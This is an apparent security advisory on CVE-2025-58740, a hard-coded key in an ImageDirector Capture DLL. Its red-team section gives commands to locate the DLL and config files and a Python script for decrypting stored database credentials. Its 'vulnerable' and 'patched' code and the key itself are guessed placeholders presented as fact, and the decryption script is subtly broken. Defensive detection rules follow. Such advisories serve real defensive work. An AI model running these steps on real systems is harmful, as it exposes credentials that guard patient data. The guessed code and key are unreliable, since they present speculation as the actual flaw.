CVE-2025-58740

Executive Summary

CVE-2025-58740 exposes a critical security flaw in Milner ImageDirector Capture, a Windows-based application used for medical image capture and management. The vulnerability resides in the C2SGlobalSettings.dll library, where a hard-coded encryption key is used when calling the Password function. This allows a local attacker to decrypt database credentials by reading the cryptographic key directly from the executable binary.

The attack vector is local, requiring the attacker to have access to the system where the software is installed. Once the key is extracted, the attacker can decrypt stored database credentials, potentially gaining unauthorized access to backend databases containing sensitive patient data (PHI). This poses a significant risk to healthcare environments where ImageDirector Capture is deployed.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone Windows application vulnerability.

CVSS Breakdown & Threat Level

The official CVSS score is 0.0, indicating that no CVSS vector has been assigned by NVD. However, based on the vulnerability description, a reasonable assessment would be:

• Attack Vector (AV): Local (L) – Requires local access to the system.
• Attack Complexity (AC): Low (L) – The key is stored in plaintext within the DLL.
• Privileges Required (PR): Low (L) – The attacker needs user-level access to read the DLL.
• User Interaction (UI): None (N) – No user interaction required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): High (H) – Database credentials are exposed.
• Integrity (I): None (N) – No integrity impact.
• Availability (A): None (N) – No availability impact.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N Estimated Base Score: 5.5 (Medium)

Threat Level: Medium. While the attack is local, the potential for lateral movement and data exfiltration in a healthcare environment elevates the risk.

Deep Dive & Mechanics

The vulnerability is rooted in the C2SGlobalSettings.dll module, which handles global configuration settings for ImageDirector Capture. The Password function within this DLL is used to encrypt and decrypt database credentials stored in configuration files.

Mechanism:

1. Hard-coded Key: The encryption key is embedded as a static string or byte array within the C2SGlobalSettings.dll binary. This key is used for all installations of the affected versions.
2. Encryption Routine: When the software needs to store database credentials, it calls the Password function, which uses the hard-coded key to encrypt the credentials before writing them to a configuration file (e.g., XML, INI, or registry).
3. Decryption: When the software needs to connect to the database, it reads the encrypted credentials from the configuration file and calls the Password function again to decrypt them using the same hard-coded key.
4. Exploitation: A local attacker can:
   • Locate the C2SGlobalSettings.dll file on the system.
   • Use a hex editor or a tool like strings to extract the hard-coded encryption key.
   • Read the encrypted database credentials from the configuration file.
   • Decrypt the credentials using the extracted key.
   • Use the decrypted credentials to connect to the backend database.

Vulnerable vs. Patched Code

Vulnerable Code (C2SGlobalSettings.dll, versions 7.0.9 to 7.6.3.25807):

// Pseudocode of the vulnerable Password function
std::string Password(const std::string& input, bool encrypt) {
    // Hard-coded key embedded in the binary
    const char* key = "StaticHardcodedKey123!";
    // Simple XOR or AES encryption using the hard-coded key
    std::string output = input;
    for (size_t i = 0; i < input.length(); ++i) {
        output[i] = input[i] ^ key[i % strlen(key)];
    }
    return output;
}

Patched Code (Version 7.6.3.25808 and later):

// Pseudocode of the patched Password function
std::string Password(const std::string& input, bool encrypt) {
    // Key derived from system-specific data (e.g., machine SID)
    std::string key = GetMachineSpecificKey();
    // Use a strong encryption algorithm (e.g., AES-256-GCM)
    std::string output = AES256GCMEncrypt(input, key);
    return output;
}

The patched version removes the hard-coded key and instead derives a key from system-specific attributes, making it unique per installation. Additionally, a strong encryption algorithm is used.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Local access to a Windows machine running Milner ImageDirector Capture (version 7.0.9 to 7.6.3.25807).
• User-level privileges.

Steps:

1. Locate the DLL:

   Get-ChildItem -Path "C:\Program Files\Milner\ImageDirector Capture" -Recurse -Filter "C2SGlobalSettings.dll"
   

2. Extract the Hard-coded Key:

   strings "C:\Program Files\Milner\ImageDirector Capture\C2SGlobalSettings.dll" | findstr /i "key"
   

   Or use a hex editor to search for the key pattern.
3. Find Encrypted Credentials: Look for configuration files (e.g., settings.xml, config.ini) in the installation directory or %APPDATA%.

   Get-ChildItem -Path "C:\ProgramData\Milner\ImageDirector Capture" -Recurse -Filter "*.xml"
   

4. Decrypt Credentials: Write a script to decrypt the credentials using the extracted key.

   import base64
   
   def decrypt(encrypted_data, key):
       # Assuming XOR-based encryption
       decrypted = ''
       for i, c in enumerate(encrypted_data):
           decrypted += chr(ord(c) ^ ord(key[i % len(key)]))
       return decrypted
   
   key = "StaticHardcodedKey123!"  # Extracted from DLL
   encrypted_creds = "..."  # Read from config file
   decrypted_creds = decrypt(base64.b64decode(encrypted_creds), key)
   print(decrypted_creds)
   

5. Connect to Database: Use the decrypted credentials to connect to the backend database (e.g., SQL Server, MySQL).

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for DLL Access:
   • Alert on unusual access to C2SGlobalSettings.dll by non-application processes.
2. Monitor for Credential Decryption Tools:
   • Detect execution of strings.exe, hex editors, or custom scripts that read the DLL.
3. Database Connection Anomalies:
   • Monitor for database connections from unexpected hosts or users.
4. Configuration File Access:
   • Alert on reads of configuration files containing encrypted credentials by non-application processes.

Hunting Queries:

• Windows Event Log (4688): Look for process creation events where the command line includes strings or C2SGlobalSettings.dll.
• Sysmon Event ID 11: Monitor file creation events for configuration files in the ImageDirector Capture directory.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_58740_Hardcoded_Key {
    meta:
        description = "Detects C2SGlobalSettings.dll with hard-coded encryption key"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "sha256: <insert hash of known vulnerable DLL>"
    strings:
        $key = "StaticHardcodedKey123!"  // Example key, replace with actual
        $dll_magic = "MZ"
    condition:
        $dll_magic at 0 and $key
}

Sigma Rule

title: CVE-2025-58740 - Hard-coded Encryption Key in C2SGlobalSettings.dll
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects access to C2SGlobalSettings.dll by non-application processes
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|endswith: '\C2SGlobalSettings.dll'
        Image|endswith:
            - '\strings.exe'
            - '\HxD.exe'
            - '\010Editor.exe'
    condition: selection
falsepositives:
    - Legitimate software updates
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2025-58740 - Potential Database Credential Exfiltration"; flow:to_server,established; content:"SELECT"; nocase; content:"FROM"; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Milner ImageDirector Capture to version 7.6.3.25808 or later.
2. Credential Rotation: Immediately rotate all database credentials that were stored by the vulnerable software.
3. Access Control: Restrict local access to systems running ImageDirector Capture to only authorized personnel.

Long-term Mitigations:

1. Application Whitelisting: Use AppLocker or WDAC to prevent unauthorized executables from running.
2. File Integrity Monitoring: Monitor C2SGlobalSettings.dll for unauthorized modifications.
3. Network Segmentation: Isolate systems running ImageDirector Capture from the general network.
4. Vulnerability Scanning: Regularly scan for this CVE using vulnerability management tools.

Workaround (if patching is not possible):

• Remove the C2SGlobalSettings.dll file and replace it with a patched version from the vendor.
• Use a custom script to encrypt database credentials with a unique key before storing them.

Valters IT
Securing Digital Frontiers